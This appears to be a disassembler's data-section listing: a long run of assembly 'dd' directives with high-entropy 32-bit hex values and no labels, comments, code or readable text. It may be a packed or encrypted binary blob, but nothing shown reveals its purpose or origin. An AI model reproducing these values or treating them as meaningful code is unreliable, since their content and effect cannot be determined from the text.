dd 0FF9B51F2h, 0B8DB39E1h, 66130043h, 7680CB6Ch, 1425EB85h
dd 11FDC5F9h, 0BEE04BB3h, 0E01C971Ch, 8E27BB68h, 533D0711h
dd 39EB8782h, 0E75C5F50h, 97046B50h, 0B64023CFh, 128478E4h
dd 0BB97A5AFh, 2C9CC890h, 0DA7F00D1h, 0FF05FD93h, 0FE7951BFh
dd 0A65759B5h, 700D60FAh, 0DC2E4082h, 25003991h, 2BCC080h
dd 0AE1009C6h, 0C3CD605Fh, 0A0AF0BC4h, 129F094Ah, 1250FC6Fh
dd 138DBA0Dh, 5176A2Eh
dd 99D892AEh, 5487B2E8h, 273C601Bh, 0B6E0B4F1h, 18A2AC07h
dd 653028FFh, 4B872501h, 6F89C53Dh, 48E116F2h, 0E9A74900h
dd 4B4586C9h, 7899D292h, 0C23F6D2Bh, 4AF56A42h, 58854A26h
dd 0AC53BFBEh, 9F46EC5Ah, 8EC5B35Eh, 0FA23C0C0h, 0A04CFD48h
dd 55750096h, 0CF825986h, 0B503C3E4h, 0F67D7CB9h, 1246B0AEh
dd 0E6E75E31h, 3017B26Dh, 0D816A028h, 7BEB5037h, 0DD10E1Eh
dd 2B4920CEh, 9D07719Dh, 0CD80FE59h, 19B66879h, 0A09E5E52h
dd 49808184h, 0EECC4BEAh, 0B900566Eh, 2201D86Ah, 1617534Ch
dd 6BBF0AB7h, 2C172484h, 2E405DC9h, 0E7B48F0Fh, 0DD806084h
dd 12BB16BBh, 6541045Ch, 0D3DDBD05h, 0E90B81A8h, 2A3D020Ch
dd 0B701A59Fh, 0AFCF73A7h, 54FD307Bh, 0B1072FE7h, 8D9C552Bh
dd 7F780520h, 0CC9327BBh, 6225A1D6h, 0E7CD55C4h, 72C18EE0h
dd 557D712Dh, 362FD68Dh, 392FFA0Ch, 69557106h, 4F506DDBh
dd 0B2F30186h, 0F29B2C3Eh, 1DA7421Eh, 5D5DE2F7h, 1D915B35h
dd 72076280h, 0A3006923h, 8F5385Ch, 55A1B531h, 0DA02DE2Eh
dd 0ED99FD8Bh, 5FF426DFh, 2C1783ECh, 8471B853h, 504B1F8Dh
dd 0D83AB375h, 2781947h, 0BB3D3AE3h, 4409AD59h, 153EAC9h
dd 4069EE1Dh, 3F96585Ah, 227BC7B1h, 6F7765AAh, 9836611Dh
dd 3F77F865h, 24A44B0Dh, 4E5B43Ch, 0EBC76800h, 92551A25h
dd 3EE5F5F9h, 0CA525102h, 2A65E0Eh, 5505E838h, 28DCB954h
dd 25EB303Ch, 0E2D12805h, 8614005Ch, 6430B0BAh, 0E2B78750h
dd 8939842h, 9DC0058h, 68BA8E89h, 0DE3BFAE4h, 9D500E26h
dd 0B3BB602Eh, 9A271EAFh, 0DC43947Bh, 15C013Ah, 0B638D0Dh
dd 0A961A1F3h, 84B35D2Ah, 0BD112D95h, 16AFD3FDh, 0BA89BB52h
dd 42BD2D2Eh, 4BD4BD38h, 5A3E7EADh, 0EC68E4FFh, 2821890Ch
dd 323D8F07h, 4EBE9CF3h, 7756AFAh, 0BC02A23Eh, 0A78BD8F1h
dd 7D02B623h, 3E81FA89h, 8955C55Dh, 0BD7D046Ah, 76CE0E9Fh
dd 96A49Fh, 5F45E8C9h, 661464BFh, 0B1D75561h, 7A7A0433h
dd 28EA387Dh, 0E5B7F5CCh, 1FBB80E5h, 0BF7B32B3h, 720FD4FFh
dd 598A7397h, 0A0181Dh, 0E98665F7h, 1F0F09BAh, 16E46F48h
dd 7B911DC9h, 9C7B01D9h, 9597F9D9h, 63F40A3h, 1D2DEF3Dh
dd 4E77CF5h, 0BC50CA98h, 0C06B80A3h, 386116B1h, 3B048F8Dh
dd 0AFD7A00Dh, 2CE54F8Dh, 9681A42Eh, 0D1CE1195h, 28E68C3Eh
dd 89245BB7h, 0B8F53199h, 21852980h, 0BB400DF1h, 4B848757h
dd 234ECC69h, 5BA5BD4Eh, 0C809DA2Bh, 0B828C01Dh, 4302C463h
dd 67F9F7E4h, 21F0418Dh, 0AF98AA14h, 1BF71281h, 6855F1BAh
dd 5A078045h, 67415Ch, 19750285h, 0E5D98BEh, 0E2F0D025h
dd 6A766067h, 28AB25A4h, 7BA5AC7Bh, 0EC15500Ah, 3BAA7201h
dd 0BB1A852Fh, 6A45AF42h, 0D6FB5556h, 51261551h, 0F048F218h
dd 0BF4E47EBh, 4A95C7F1h, 8DC4E9F5h, 0E7FD95A1h, 0D69A5E1Bh
dd 0AA48EC80h, 3E022379h, 0F5BADCBFh, 8B29C042h, 40D86911h
dd 1A7B9A8Bh, 5AD07572h, 58A24B5Fh, 0FBCB403Ch, 20F47F20h
dd 895C0162h, 8F1C905Bh, 0EBE82AB9h, 0ED703C1h, 0C46E3B35h
dd 1F001923h, 0D5EFE5DFh, 0C7B6A079h, 45404C55h, 2E89352Dh
dd 0FBA75B73h, 2E7F514Bh, 0F5645622h, 5FB03EEEh, 0DC2FD527h
dd 7F5D7104h, 2E01047Bh, 0F96046EAh, 88A93B89h, 0B8506113h
dd 5F368036h, 0BB4A164h, 0FC8AC370h, 88ACD0F4h, 37F52ADEh
dd 5ED9AAA0h, 1446D620h, 5B92A528h, 0B9CD1221h, 8C17ACFFh
dd 9DBB5ABDh, 9DC2DCDCh, 0DF80010Eh, 95C4875h, 14C855Eh
dd 0B72D8C89h, 0DE693A59h, 0E82DD485h, 3CB277DEh, 4C017784h
dd 4B959AFCh, 2D96CE2Ah, 0A87BBB49h, 0B36434Eh, 972DE6Eh
dd 75FD0975h, 7E3386B9h, 0C62FA1A2h, 514ADE4Fh, 3512C200h
dd 5F01BC0h, 0EEBB6672h, 17BEF8Ah, 0F4011C23h, 0A5CAF31Eh
dd 1226E3FCh, 0BC59E955h, 99884EE1h, 2E9012FDh, 0D7D0BB38h
dd 775BB4B7h, 78DC938Bh, 0F94A8BDBh, 0DA4FE4F7h, 9E50817Eh
dd 26F8D205h, 55AFB060h, 0BFCCE231h, 0D5615BF2h, 0AED7C4D1h
dd 0AB845DDEh, 90C4EA31h, 0B9BE571Bh, 972714E7h, 209670A0h
dd 57A0F44Ah, 0C5939706h, 6490B22Fh, 4E89Ah, 23B6713Bh
dd 4ED442CDh, 0D37AC00Ch, 30FEE3B5h, 0F80A5690h, 3EE16A5Bh
dd 0FB93679Bh, 264AA086h, 0F4906ADFh, 0D67A1513h, 23495705h
dd 4591DDBAh, 0D245B2B0h, 0E6D2EBECh, 6637B4F5h, 58C7CBB0h
dd 48BF0566h, 9BD1FF5Eh, 0E4ADC066h, 0B82847A9h, 5C957178h
dd 0D7829A27h, 0FE5E705Eh, 327E6D51h, 0C65E2DB4h, 0D4F75E6Bh
dd 0CC92FC97h, 6E12CB7Ah, 35EB509Ah, 0C176348Dh, 60CA14Ch
dd 52715984h, 0C8809A4Bh, 0A042C017h, 0E938AF32h, 82CBCB0Fh
dd 25E72610h, 0AF52F160h, 5FE93356h, 36614D61h, 54BAF091h
dd 69A800D4h, 0B4115C8Ah, 0D4905651h, 4A2F8920h, 408FF65Bh
dd 1440798Ah, 404CBE90h, 0E7864B71h, 5BD5A101h, 0FB66681Ch
dd 0E466C13Eh, 73AD2B16h, 220099B8h, 0FF3692F4h, 4B8A3FA6h
dd 9FC2C4D9h, 2180C9DCh, 7137D2B0h, 0B452EAD5h, 53C45E31h
dd 0FCD2C412h, 0C94AB6F3h, 57A86E9Dh, 0B26D9417h, 396C0E9Bh
dd 0DC2C4034h, 7E083BDDh, 1DF80238h, 485BA135h, 435B8A57h
dd 0A93C8389h, 51ED823Dh, 34EFFF1Fh, 0A2D11940h, 0B0AE00CBh
dd 0A6F38184h, 564B6B9Dh, 5E0E59C2h, 84051BEh, 7D599Dh
dd 91C2914Bh, 929004FDh, 0B0F871E4h, 0D2DE4B0Eh, 182D21A1h
dd 558FF47Bh, 3580647h, 9435CEC0h, 2A2C15F0h, 89058255h
dd 0CAD49185h, 0E86CA1AEh, 22B7758Dh, 0A4059D15h, 86BD618Bh
dd 6A1D457Bh, 1C584B88h, 0FBE770h, 0F87BC5F7h, 9100AB57h
dd 2B50985Bh, 12EB81FAh, 0EB7AF2E4h, 0FC81D02h, 49A66688h
dd 0E584B183h, 4F31AF04h, 0BB00310Dh, 9564DA46h, 8B40A1D8h
dd 1D9D09DEh, 85351462h, 0F7F8404h, 0D75A7840h, 0FD0E432Bh
dd 60A03BF5h, 98BF7080h, 0DC02BFA4h, 0BA5EF94Ah, 0D7F39B3Eh
dd 8951830Ch, 2815B50h, 0FDB50DBFh, 0B6492F66h, 0E0D05C29h
dd 0F619BDEEh, 0E73B2200h, 6272341Ch, 20682D86h, 80144D1h
dd 0D20A6C77h, 31B0302Fh, 0C4235B5h, 91161194h, 88EEE905h
dd 32F9A520h, 4CB4CCA5h, 9529AB8Ah, 0DD0C3188h, 7FCA2B30h
dd 0F714CB40h, 0B0F09B66h, 0B7011806h, 0B529519Dh, 0AD6B1065h
dd 44204EC1h, 4021BBAh, 0F5B5073Bh, 0C3D3BC83h, 0AE4BB9F8h
dd 25BD16D3h, 96C9E930h, 4228D86Bh, 0C9D301EDh, 0F953FCCFh
dd 25FC2E5Bh, 80697DFDh, 689EBD65h, 2463E8A8h, 1A9AF7BBh
dd 0C607C755h, 0A6745BE5h, 5156DB69h, 0D94889A4h, 0EB947B2Eh
dd 955034D3h, 0BF730077h, 131D1EBCh, 0B537BD23h, 3562BF08h
dd 0C2A05E2Ah, 9AD5820Fh, 738062D0h, 7C66ADC3h, 0B709AE90h
dd 5D36DAA1h, 0AF27A584h, 6A2E9B2Dh, 480F0B91h, 4B175877h
dd 0D3C7CE06h, 80A898E9h, 0F1B5010Bh, 923D381Ah, 5677D31h
dd 9D2997D5h, 4BE2F9F1h, 4F27B58Ah, 6789F7BDh, 0F95719DFh
dd 0BB72302Fh, 20098BEBh, 53E1FF70h, 0CEBD70FCh, 0E5E7BE25h
dd 1F68113Ch, 0ADC0F1BFh, 1D852965h, 419C970Ch, 203F6B45h
dd 0D7450D6Dh, 49183C00h, 1CAEBF96h, 0E284004Dh, 8D3DAC67h
dd 94975E93h, 0ED6AEB4Ch, 0DEE80Ah, 0A57FA2FDh, 92E231A7h
dd 38174448h, 703041E9h, 16512595h, 0A7141FF5h, 0DC535CB0h
dd 1D503A16h, 0AED65FBCh, 0F1BC3F16h, 426EABD2h, 0EAAC9916h
dd 1EDFCE02h, 0FF44FDF9h
dd 4F01A738h, 0B4BC45E9h, 2529575Dh, 64EECD5Fh, 0D8A56016h
dd 9532B002h, 8EBBCB98h, 2BBEBA18h, 4BF906Bh, 382CC713h
dd 5F8DBB50h, 0AD90BE64h, 8205633Fh, 4959C29Ch, 0B54658D5h
dd 27E0D24Dh, 0B757DF5h, 0F925FBEAh, 0FCC455h, 6FC39665h
dd 0D513C852h, 0EF2F4509h, 76C5D7FFh, 0B82EBA00h, 1266246Fh
dd 0FF618DBFh, 0B72B32CDh, 8BD00168h, 635F0B1Fh, 0D16DF93Ah
dd 8C09001Ch, 0E5879DEBh, 0E4C218C7h, 6BB168D4h, 76258991h
dd 0F3F30ADh, 0DE5F8A31h, 0B92F3BA1h, 9867B816h, 2D0920DFh
dd 0E23CB725h, 703DDF36h, 4F974D81h, 0B0F115F5h, 963FFDF8h
dd 20E908B7h, 95AA8917h, 12FCF818h, 3AF3CA4Ah, 0E9FE8A04h
dd 8A9EBB86h, 9529FCC1h, 3A5DC265h, 0DEA1042Fh, 9DD398FBh
dd 1CE254Bh, 0A0D6A65Fh, 5F9860h, 0C9BD1E56h, 0BFD78A12h
dd 535CA409h, 0C407742Fh, 96444007h, 3997E74Ch, 0A6613C89h
dd 6EA1EFBFh, 9CB421E6h, 0F800EB9Ah, 7175EAA7h, 179DCA8h
dd 19EF815Dh, 2F72D288h, 75040313h, 0C0172DC5h, 50FAB050h
dd 80DC78EDh, 29BBED7Eh, 0DCF2D3h, 4D6C90CBh, 7DAB23D4h
dd 0E89F1B00h, 0E001C781h, 5F3C2575h, 0B382FFC6h, 68FD205Fh
dd 5E7A4FB9h, 0B4B237Dh, 0FFA280EFh, 5B4BCB72h, 4C46D580h
dd 0FC3BF965h, 26F74F18h, 94975E0h, 6A9CFC02h, 0D53223CDh
dd 0B314E8C6h, 77E9E0h, 2BE260A3h, 5FF62Ch, 0BB3A4924h
dd 0B757A4CCh, 5B302D16h, 78DA7282h, 0FDE2CB6Dh, 0ED5DC542h
dd 6115643Eh, 9620A3C1h, 0B053D225h, 47B7F9B3h, 0D443AE5Dh
dd 8D01B909h, 0B70258A1h, 46497653h, 0F78100DFh, 7C5DD6D2h
dd 0BDB544E9h, 0A87DA71Bh, 0F918A377h, 973179EEh, 54F2F11Dh
dd 0F4B5D47Fh, 0B3E6E542h, 0A1245037h, 1849325Eh, 42F671F8h
dd 0E50A0553h, 1C912702h, 69E19623h, 0C0022740h, 0CFFB1EC5h
dd 4C181A79h, 2BCAB100h, 0BF58DE94h, 19B3125Dh, 58D1E36Eh
dd 72D52DC4h, 61B525F6h, 47D8A6DBh, 9EA9EFAh, 4998FBD5h
dd 7B00C45Bh, 3A1CED59h, 96590h, 9D24F3A0h, 576C929Ah
dd 544F190h, 83CD04BBh, 0B95B62A7h, 83E9D3EAh, 0A40B36A8h
dd 0FF1D5DE1h, 21FD1B09h, 0CCF38059h, 9FFBB445h, 1702933Ah
dd 7711B9BDh, 54498D51h, 6001D4A6h, 58225509h, 5C8A7896h
dd 0F4D12A8Dh, 9F091646h, 675E4769h, 0F46DF5E9h, 0B11E0240h
dd 0C7BD0BE4h, 0D85BEAAh, 1E4914Dh, 36F52E95h, 0B43AA67Eh
dd 7F57B072h, 0BF03D359h, 0F7F923AFh, 0C6B5552Bh, 4C36ECA5h
dd 3F07D3C4h, 52FAC9D5h, 20F46B26h, 85E87916h, 0EE220516h
dd 0F6B60864h, 0BC0F90A0h, 0F9758497h, 91FB3BEh, 782F9DBBh
dd 526F9F4Ah, 95207D61h, 0F5F5BF24h, 97F94930h, 3253A050h
dd 0BFCD5EF5h, 5B440CB8h, 0EF33CC2h, 8A735FCEh, 0AE853D13h
dd 23E46BAEh, 2FCC0616h, 0DF5C6A8Ch, 0D8A6602Eh, 1265BB50h
dd 584C449Dh, 0E7976CEh, 9468599h, 877ABD18h, 0CF000B97h
dd 0C2ED4045h, 99F6A82h, 44F259E4h, 18233FA2h, 4D745401h
dd 0DCC696CCh, 3D3740CEh, 0A9FEC516h, 8E25716h, 212E9CBAh
dd 8B407C96h, 0A30D64h, 0AB588DA0h, 0B4BA450h, 8A135F75h
dd 0D66F96FCh, 0EB5E9913h, 26AA88h, 411B4F3Dh, 56D4EAA4h
dd 257EB500h, 0E952B6CEh, 52AB853h, 7DD9D2DCh, 938CEE5Eh
dd 406B004Fh, 77446EFh, 409A0A4h, 0D74BB565h, 5357336Ah
dd 3539F856h, 3DE5A500h, 4E16544Ch, 0E09097B2h, 1B01CDD2h
dd 0E1A0E7CFh, 0A93BC3C1h, 0CA76A9B3h, 9C4F680Eh, 71B9A040h
dd 2C4FAB24h, 0EB4E4AF8h, 0CF087C52h, 0BB61130Ah, 5AB0D34h
dd 0BB37F03Ah, 3080AE2Ah, 0C9DCEDAh, 2F8C8D0Bh, 65AE18CCh
dd 0F7599FE4h, 0DDCB4707h, 0C1F97900h, 0B705772Bh, 46401856h
dd 939B3Bh, 1250E9ACh, 0B60C2ABh, 0B54B3E04h, 63FC46D1h
dd 81C40980h, 3B27FBA0h, 2DD07C5Bh, 0CE362290h, 10E14102h
dd 7767C673h, 0B852065Bh, 12C0D998h, 8C20E5Fh, 0B38F02BEh
dd 118C0ECFh, 38B58A4Bh, 0A8DE4F6Bh, 0BCE2E185h, 0CBF88180h
dd 61CAFE6Ch, 5CF823A9h, 1BCE209h, 9BB94A35h, 2F25A749h
dd 0F400D934h, 3B071D1Bh, 0F67AE1C6h, 0C0A7F295h, 9805FD07h
dd 1E5D257Fh, 5DDAD8DEh, 2001A335h, 4D9DA96Ah, 0A472852Ah
dd 0D54BBD1Dh, 31E92E04h, 9B5EDFBCh, 3EAC80DEh, 5B27D7E6h
dd 794E8860h, 0E92CF495h, 2549447Fh, 0E4DA9589h, 0BD336117h
dd 258B0EB4h, 0F4EEF8C1h, 0BBF3597h, 0D48B80F5h, 6AF0367Ah
dd 0F4E666E1h, 850C85FFh, 38D2AF0Dh, 0FC6D7F6Ah, 0AE54A4E1h
dd 26E33974h, 8284B02h, 0F8301FF9h, 0BB14F8A6h, 7FC2D0F7h
dd 1A13855Eh, 10BCE584h, 71A6E4Fh, 4926FFB6h, 0DEAF17E0h
dd 0C4A24FC1h, 0FBB0B07Eh, 0B2985D8Ah, 0DEB7B509h, 7A6A124Eh
dd 5282048Dh, 0A3BA6A5Bh, 89BB3A30h, 0F733AB63h, 52435095h
dd 54A691B5h, 37006B63h, 36307222h, 0D300064Dh, 0F75E8B01h
dd 74969EC3h, 0FC8F5E76h, 0FA60CD3Dh, 8B22AC2h, 61143001h
dd 49DD4B8Fh, 2A88679h, 626DF0BEh, 0FF61D13Eh, 0BCEF39D1h
dd 1CF401D4h, 0DD9509B3h, 5B987A04h, 89DC00D8h, 936441DBh
dd 400050C7h, 7A94679Ah, 1360143Fh, 0A236CC6Dh, 0BB968861h
dd 59F1892Dh, 51086E24h, 0EBE072Dh, 611D0045h, 0B7B7026Ah
dd 0F8770287h, 7A431B93h, 80F2D4C0h, 90B0F31Fh, 5F505BC9h
dd 0DE31329Ah, 5B0ED4E6h, 38289F00h, 8ADFFEB1h, 77419772h
dd 95AC9CD9h, 89121350h, 0E9C2FE85h, 80855161h, 0E8EE74BFh
dd 80280F2Dh, 43F3751Bh, 0DAE0BF7Bh, 9C00DBBEh, 4062DC1Bh
dd 1AEBA7Ch, 0F3E6815Fh, 707073F8h, 679769AAh, 13B0130Ch
dd 0BC43B905h, 18104899h, 0D20EAD13h, 6E74DF58h, 4BAABDC5h
dd 9DFC50E8h, 0C141BF63h, 0A97B4DD4h, 3F8FE8F3h, 5581103Ch
dd 819D2BFFh, 0D08A6E15h, 736C6025h, 1E758D10h, 659D3104h
dd 0D6610928h, 14A5088Fh, 0BD2B5305h, 59169FB9h, 0B8D6E961h
dd 0D2058C19h, 0B79314D0h, 0EB8ACDFBh, 0B273EAFCh, 0E6AEBC34h
dd 89F9A532h, 0E5C0AF92h, 0C46D9529h, 0B2FF6AEBh, 0E3F2001Eh
dd 185F7AB4h, 7FA32D12h, 330B0D7h, 0B6A8B02Fh, 0EE02ADE3h
dd 57521B25h, 828BDD4Eh, 54B52A22h, 0DCBC088h, 0B051F844h
dd 0AD40C6A1h, 62975FADh, 100CDE4Dh, 0B7DD4027h, 0D8F5C725h
dd 0BB530745h, 843BED59h, 2C97E95Bh, 5E6BFAF6h, 17DEADB1h
dd 0E078F547h, 2151B501h, 0D88B63C6h, 9B819760h, 0C11499Dh
dd 0C6BF2D66h, 1508457Ch, 0C87A2D0Ah, 0D403DF2h, 52C81E2Bh
dd 0E0795223h, 0A9D5B2Ah, 30108F70h, 0FDAFE925h, 0F683FEABh
dd 5F8A4C44h, 52119077h, 0B6F21683h, 80DBEC2Eh, 0C1CAA718h
dd 54870096h, 9D84F6E3h, 6DF2B73Ah, 2725E69Fh, 72425F5Bh
dd 7EA0EF18h, 0D5E76A03h, 907D3501h, 16DA781h, 344C1DF9h
dd 3BBEC122h, 45A62B8Dh, 899D04B3h, 7DF80905h, 81023CECh
dd 184853C7h, 15B13805h, 2572169Dh, 96F70F99h, 0D788823Ch
dd 4995F1B9h, 14347A8Fh, 4E846CBDh, 8060016Fh, 2E20D7C7h
dd 0CFB317C2h, 7A07B61h, 3EFD426Ch, 0A5D6CFF0h, 0B7494B38h
dd 0ACB34D39h, 95C8C4BAh, 7EB9051Fh, 0BD31F041h, 643A09C9h
dd 0AB6AAE87h, 0AE8A0212h, 1FCE4D0h, 9C94B8Dh, 8CD3F526h
dd 3E191D51h, 57C2D9E8h, 0D3E8F335h, 0DE9DD22Bh, 59A9257Bh
dd 0A9000D64h, 0EABE5BBFh, 0CAFDF6h, 3DDDD60Fh, 0E3C92CB4h
dd 0F3042EB4h, 0E3AECCD7h
dd 0F781C07Ch, 4F680A02h, 814EDB5Dh, 0B5D41F8Eh, 25142FF4h
dd 1477BF90h, 0A9BB005Ch, 3ADEA6ECh, 6800DB6Ah, 4A64323Fh
dd 243D5552h, 2D95F0FCh, 5D30897Fh, 0B5976266h, 97199181h
dd 0BC254BCh, 0B868ADBDh, 9209E781h, 5D238C15h, 0BD6169C5h
dd 0BC050625h, 97D51373h, 0AAE024A6h, 0C24E5946h, 5C25808Ah
dd 0D26F404Fh, 76FF2009h, 1646D427h, 0C9CD080Ah, 21790997h
dd 9E11776h, 927E69B5h, 8D82E1C3h, 0E7DD1BADh, 0B4D62DBAh
dd 0DE81DE27h, 0D182384Bh, 51A274D9h, 51B61476h, 0CA58AF5Bh
dd 0ED301198h, 9C082F1Dh, 60F88921h, 2DC3256h, 0F6139330h
dd 50E2F774h, 7DEA89F5h, 7DABF963h, 37D7E19Ah, 1EF980CFh
dd 0FE86E03Eh, 0DEB3C613h, 0B1E269A4h, 4D384FBh, 0C36AB8EEh
dd 85A59D23h, 899CABBh, 2F2AD5B5h, 0F998907Dh, 8FBC027Bh
dd 346C0959h, 60580057h, 0BB9E1B2h, 561BE54Eh, 0BE310A87h
dd 7DB05AA3h, 905840C7h, 0DD5B8501h, 0DBFA7A95h, 9687C0AFh
dd 0A7FF3Dh, 0FE33C1BBh, 9D8D891Bh, 0D8A30A5Bh, 47BB6682h
dd 3A34435Dh, 0FBA65353h, 5C4C381Fh, 6488BB80h, 585851BAh
dd 0E3B85AEAh, 4CDB5E0h, 302ED989h, 0F81BB34h, 897EF80Bh
dd 0FC39FE85h, 0E9EE5007h, 0C10C027Ch, 72709777h, 0A22C6557h
dd 60027FB9h, 16DD08D5h, 0D4C29CD1h, 2DABAA59h, 257DE410h
dd 0E5E5C9A6h, 0FCC55D52h, 0AA378996h, 215F6391h, 0ECB557C2h
dd 65801C91h, 4D5ACE41h, 89F1E995h, 0F0FCF66Bh, 27EDFE4Fh
dd 0EBF4B529h, 3235F5A7h, 0E764C25h, 901FEAF1h, 0B04BFB22h
dd 785A097Dh, 0B26D971Eh, 1C03E3C0h, 9600970h, 9A40A9BDh
dd 117C8D31h, 295BAEBFh, 0F4950B52h, 8DC42D81h, 54304000h
dd 4E82FE2Ah, 0A5F10B66h, 92F75B79h, 7B84F570h, 432DBA2Ah
dd 95B0CC36h, 89002C74h, 0AD68668Bh, 0BFEDAA86h, 0BBC07B51h
dd 69F38B2Dh, 4B5E123Dh, 7049AA40h, 0F643008Eh, 0CCB17624h
dd 0DE2562DAh, 0B1FF061h, 12747D52h, 507892DBh, 84D94E56h
dd 88E7BE94h, 0FDCC82A0h, 3091A1A0h, 0BC609080h, 17DF40E1h
dd 0F625B1A0h, 0FF9A5D0Ah, 61CB7F60h, 0DFB0DEABh, 37BF905Fh
dd 0EEDD0244h, 0BAD6A829h, 0ACA22113h, 0A0CDA6D2h, 1E49AD7h
dd 7C1913ECh, 9E3F1BDDh, 96203162h, 0DE5E3F73h, 30C5C001h
dd 9AFA723h, 0CE29CCAEh, 6065DBD1h, 86802BBCh, 0D7710A05h
dd 41478800h, 4B1D9ED8h, 0F94002C2h, 0CFE7805Ah, 9123C557h
dd 0E9935014h, 20AC284Ah, 5F47DC5h, 5C8BFD0h, 0FB83B7CAh
dd 5CF923DAh, 0C505CA81h, 8D09C690h, 0EE0106B5h, 0AC730DB5h
dd 947A8585h, 0E0ADE6D6h, 524FA22Dh, 4ECDCBD6h, 27B43E59h
dd 9E6D4EB5h, 7FF5C481h, 0A5392h, 118CAEBFh, 8CA6494Bh
dd 0D73219B2h, 6E654920h, 0A9B0EB80h, 7D61B525h, 1101F9BDh
dd 66A7DEDDh, 0BD3C753Ch, 49DB1E2Dh, 16BD66AFh, 0D2999D29h
dd 98F55114h, 0B766B35Ah, 3127CC5Ah, 0D26665B5h, 0A78B795Dh
dd 97D637DEh, 2D6F4430h, 24EA984Fh, 18A666A6h, 0D119252Dh
dd 0DD5C69FDh, 79A702D4h, 0B07F4706h, 5122737Fh, 2084C319h
dd 16FB4977h, 0A0A79412h, 0D19F0D07h, 74BD472Ch, 9F5CE80Ch
dd 7C3F4267h, 1DE0DC72h, 77F98B25h, 0EC2D9035h, 66CF09DBh
dd 435F4F60h, 7DE9D433h, 7C8C1AACh, 90B40450h, 9226E61Fh
dd 80011662h, 56AD72D3h, 1413785Ch, 10F9CABBh, 0C14B1FF9h
dd 2A4CC74Bh, 16C8729Ah, 0C272D4C0h, 50DA278Ah, 37DD30DFh
dd 0B59290E3h, 0F07BDD53h, 0F606C538h, 67B4268Eh, 95AC555Bh
dd 0B12DB92Fh, 0E4EB9754h, 165E2D8Dh, 90A00AA7h, 620908B5h
dd 0D1AF52F4h, 8E424BB6h, 7287DBD7h, 5A04CE5Dh, 4E4AAA89h
dd 1F96C2F9h, 88CD08ECh, 317E970Fh, 49D6C8h, 963092F6h
dd 0EEFFAEE0h, 0F279FB09h, 5A5B46A4h, 8E89C860h, 0E67FCD04h
dd 0C2AF1486h, 95A48DEFh, 80A4A859h, 0A6E69FF9h, 0BE5E0EE0h
dd 4AA05277h, 25A57566h, 37E36302h, 5D61D3F8h, 18919EB5h
dd 0DE8DF680h, 0EBA38FD7h, 0BF6647FCh, 0BD2B74B0h, 0A71D4B7Dh
dd 0DD8650DAh, 0D7B701EFh, 0B7F84448h, 0CE5A1BD3h, 47870EE9h
dd 0DA006866h, 2C25843Eh, 0C5C590BFh, 7F5B122Eh, 88F1F264h
dd 0AD78AD35h, 5C8A21E2h, 32F96BC3h, 756D6B01h, 46D0E25Ah
dd 0C43E011Ah, 0E6EA6BCh, 0D1022F63h, 77799531h, 38015CD3h
dd 50F6C7C9h, 0B4EEF77Eh, 7155DDCh, 0C9806460h, 44708BFFh
dd 383C4BDh, 7DCB27A6h, 0C09F26FBh, 1B3EDB50h, 0B1B5BB00h
dd 0E95F3486h, 0CB8B97F9h, 97DE6A7Eh, 50974CD6h, 0B73FC8EEh
dd 8260C4C9h, 0FFF13B4Bh, 0C16BB18Eh, 3D86AB37h, 0C507F97h
dd 5F46D981h, 0A917C00Ah, 6BFA616Fh, 63984A11h, 52CD6021h
dd 907467C7h, 50EAB717h, 0FF10B3EDh, 13E91107h, 4F050D00h
dd 8CE125F3h, 966C4300h, 0BD939A44h, 0D35A0BECh, 3A42CB15h
dd 8370327Bh, 9473173Eh, 0F9780B46h, 3AAD9E76h, 51A84220h
dd 48B70A87h, 91E0587h, 456FBB15h, 92C7E7Bh, 4F7192B1h
dd 0ED97ED78h, 1D76C098h, 890406D3h, 838A46DDh, 953E87E2h
dd 3500DEBEh, 0A28D7261h, 0A12D1B6Fh, 0C92D5EC1h, 60FC12FFh
dd 0B511F5C1h, 56BF08C6h, 0D5C52586h, 14855A50h, 0B9A4DD87h
dd 406B110h, 2A699D2Bh, 568E9CEFh, 0FF5B99C2h, 4FEE5ED1h
dd 0CC6F00F6h, 4610F6Bh, 404E5400h, 5FB6C5A8h, 479325E4h
dd 0A51A69E5h, 9F8FB73Fh, 6AD3C2A2h, 0C4572902h, 0C8504A7Ah
dd 33002201h, 0FEF11163h, 9D441Fh, 28E58E7Ah, 9E2399BEh
dd 0BF7B760Fh, 42208598h, 0FFBDC5BEh, 87C13A9Bh, 3A143895h
dd 220E9A1h, 8A1621Dh, 82E5535Fh, 5040DB2Dh, 33034521h
dd 0E9FF958Ch, 0AA1D4E07h, 38C42437h, 2483CEAEh, 75258E28h
dd 8239D9B7h, 54D275D5h, 0E1215F0Ch, 6E236195h, 0CE419EDDh
dd 9F3D0BD9h, 0B9BAB807h, 0C2385C04h, 0BB506101h, 3121A46Ch
dd 0F080E63Bh, 25BD337Dh, 7AE522EDh, 6EFAF516h, 8FD94F46h
dd 9D63607Eh, 597A9CFh, 74BB0E6Ah, 0ED0F296h, 0F1DB99h
dd 0D28ED1CDh, 0FDFE25DFh, 6A6590F5h, 0F8564BFFh, 63A680DFh
dd 956DA91Ah, 0D97C21Ch, 0F06F3D32h, 0A52FB537h, 0F4905C0Eh
dd 0B24CF312h, 362258F6h, 23A4497h, 0C816B62Ah, 0B1FFAC77h
dd 6F60A742h, 46B04DBEh, 1085D10h, 9D3170E6h, 0E23B093Dh
dd 0C3810481h, 59BD5568h, 85C40138h, 0F42A992Dh, 2C465A23h
dd 6A46BD07h, 0C620885Fh, 5CF6ABh, 9939BBDDh, 3B06E5E4h
dd 10B5B0B0h, 1D4A15Ch, 0B6F15927h, 2F0D83A3h, 80C46717h
dd 60CF63B8h, 90D1FA49h, 919D0182h, 2B610110h, 0A13689C8h
dd 43DB7405h, 111A599Dh, 2399BE9h, 0B2369F0h, 2D1541D7h
dd 77F18100h, 5EB13917h, 50850500h, 0B747554Ch, 356D1510h
dd 0A65AF100h, 0B543232Ch, 0ED3BE739h, 98A25B7Dh, 0D0221D10h
dd 0DB9D3EBEh, 654092B3h, 4CE925F8h, 12533A76h, 0F63335D0h
dd 9F372247h, 0EA12351Bh, 0BFE82309h, 99EEC8A5h, 37BFF507h
dd 0E5A0BEB4h, 243F07D5h, 14AFEFDBh, 0BC647695h, 4FCBAE45h
dd 147ECC0Bh, 802D3757h, 0FD51FC2Ch, 2524624Bh, 6516967Ah
dd 0BE5684FEh, 0BBC1DC9Bh, 3C0EBDD5h, 0CB81C0D3h, 5BE06C56h
dd 0C497E964h, 37452135h, 123CF90Fh, 0F4E911A1h, 9F700CA9h
dd 3273BC00h, 11929170h, 7848BBFCh, 7F0769E7h, 0FBAB5162h
